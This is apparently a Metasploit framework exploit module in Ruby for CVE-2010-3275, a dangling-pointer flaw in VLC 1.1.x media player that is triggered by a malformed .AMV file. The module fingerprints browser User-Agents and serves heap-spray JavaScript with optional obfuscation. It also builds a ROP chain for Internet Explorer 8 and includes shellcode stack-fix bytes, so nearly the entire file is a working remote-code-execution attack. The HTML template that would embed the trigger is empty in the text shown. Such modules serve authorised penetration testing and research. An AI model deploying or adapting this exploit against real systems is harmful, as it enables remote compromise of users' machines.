##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
def initialize(info={})
super(update_info(info,
'Name' => "VLC AMV Dangling Pointer Vulnerability",
'Description' => %q{
This module exploits VLC media player when handling a .AMV file. By flipping
the 0x41st byte in the file format (video width/height), VLC crashes due to an
invalid pointer, which allows remote attackers to gain arbitrary code execution.
The vulnerable packages include: VLC 1.1.4, VLC 1.1.5, VLC 1.1.6, VLC 1.1.7. Also,
please note that IE 8 targets require Java support in order to run properly.
},
'License' => MSF_LICENSE,
'Author' =>
[
'sinn3r',
],
'References' =>
[
['CVE', '2010-3275'],
['OSVDB', '71277'],
['URL', 'http://www.coresecurity.com/content/vlc-vulnerabilities-amv-nsv-files'],
# Fix commit diff
['URL', 'http://git.videolan.org/?p=vlc/vlc-1.1.git;a=commitdiff;h=fe44129dc6509b3347113ab0e1a0524af1e0dd11']
],
'Payload' =>
{
'BadChars' => "\x00",
'space' => 1024,
#Fix the stack before the decoder so we can decode properly
#SUB SP, 0X100; POPAD; POPFD
'PrependEncoder' => "\x66\x81\xec\x01\x01\x61",
#Fix the stack again so the payload runs properly
#ADD SP,0x61
'Prepend' => "\x66\x83\xc4\x61",
},
'DefaultOptions' =>
{
'EXITFUNC' => "process",
'InitialAutoRunScript' => 'migrate -f',
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'Internet Explorer 6 on XP SP3', { 'Rop' => false, 'TargetAddr' => 0x0c0c0c0c } ],
[ 'Internet Explorer 7 on XP SP3', { 'Rop' => false, 'TargetAddr' => 0x0c0c0c0c } ],
[ 'Internet Explorer 8 on XP SP3', { 'Rop' => true, 'TargetAddr' => 0x77025024 } ],
[ 'Internet Explorer 7 on Vista', { 'Rop' => false, 'TargetAddr' => 0x0c0c0c0c } ]
],
'DisclosureDate' => "Mar 23 2011",
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
], self.class)
end
def get_target(cli, request)
#Default target
my_target = target
vprint_status("User-Agent: #{request.headers['User-Agent']}")
if target.name == 'Automatic'
agent = request.headers['User-Agent']
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
#Windows XP + IE 6
my_target = targets[1]
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
#Windows XP + 7.0
my_target = targets[2]
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
#Windows XP + IE 8.0
my_target = targets[3]
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.0/
#Windows Vista + IE 7.0. Win Server 2008 is also NT 6.0
my_target = targets[4]
elsif agent =~ /^vlc/
#VLC identifies itself as "VLC" when requesting our trigger file
return 'VLC'
elsif agent =~ /^NSPlayer/
#NSPlayer is also used while requesting the trigger file
return 'VLC'
else
#If we don't recognize the client, we don't fire the exploit
my_target = nil
end
end
return my_target
end
def exploit
#Load trigger file
path = File.join(Msf::Config.data_directory, "exploits", "CVE-2010-3275.amv")
f = File.open(path, "rb")
@trigger = f.read
f.close
#Set trigger file name
@filename = rand_text_alpha(rand(6) + 3)
super
end
def on_request_uri(cli, request)
#Pick the right target
my_target = get_target(cli, request)
if my_target.nil?
vprint_error("Target not supported")
send_not_found(cli)
return
end
vprint_status("URL: #{request.uri.to_s}")
#Send the trigger file upon request
if request.uri.match(/\.amv/)
print_status("Sending trigger file")
send_response(cli, @trigger, { 'Content-Type' => 'text/plain' } )
return
end
#ARCH used by the victim machine
arch = Rex::Arch.endian(my_target.arch)
#Generate our payload
if my_target['Rop']
#IE 8 targets
code = generate_rop_payload('java', payload.encoded)
#Align and 'jump' to our final payload at 0x0c0c0c0c
ini_stage = [
0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
0x0c0c0c0c, # Address of the payload
0x7C348B05, # XCHG EAX,ESP # RETN (MSVCR71.dll)
].pack('V*')
#Add padding to line up the pivot correctly
ini_stage << rand_text_alpha(128-ini_stage.length)
nops = Rex::Text.to_unescape(rand_text_alpha(4), arch)
code = Rex::Text.to_unescape(code, arch)
pivot = Rex::Text.to_unescape(ini_stage + [my_target['TargetAddr']].pack('V*'), arch)
else
#Non IE 8 targets
nops = Rex::Text.to_unescape("\x0c\x0c\x0c\x0c", arch)
code = Rex::Text.to_unescape(payload.encoded, arch)
pivot = Rex::Text.to_unescape([my_target['TargetAddr']].pack('V*'), arch)
end
#First spray overwrites 0x0c0c0c0c with our payload
spray_1 = <<-JS
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{code}");
var nops = unescape("#{nops}");
while (nops.length < 0x1000) nops += nops;
var offset = nops.substring(0, 0x600-0x20);
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x20000) shellcode += shellcode;
var block = shellcode.substring(0, (0x10000-6)/2);
heap_obj.gc();
for (var i=0; i<0x1000; i++) {
heap_obj.alloc(block);
}
JS
#An invalid pointer gets passed on to libdirectx_plugin!vlc_entry_license__1_1_0g,
#which requires us to fill up the memory as high as 0x303234ca
spray_2 = <<-JS
var padding = unescape("#{nops}");
var pivot = unescape("#{pivot}");
while (padding.length < 0x20000) padding += padding;
var offset2 = padding.substring(0, 0x1ff);
var p = offset2 + pivot + nops.substring(0, 0x800-pivot.length-offset2.length);
while (p.length < 0x20000) p += p;
var pivot_block = p.substring(0, (0x10000-6)/2);
for (var i2=0; i2 < 0x2000; i2++) {
heap_obj.alloc(pivot_block);
}
JS
#Use heaplib
js = heaplib(spray_1 + spray_2)
#obfuscate on demand
if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end
#Value for the 'Src' parameter of our ActiveX control
trigger_file = get_resource() + "/" + @filename + ".amv"
html = <<-EOS
EOS
#Remove extra tabs in HTML
html = html.gsub(/^ {4}/, "")
print_status("Sending #{self.name}")
send_response( cli, html, {'Content-Type' => 'text/html'} )
end
end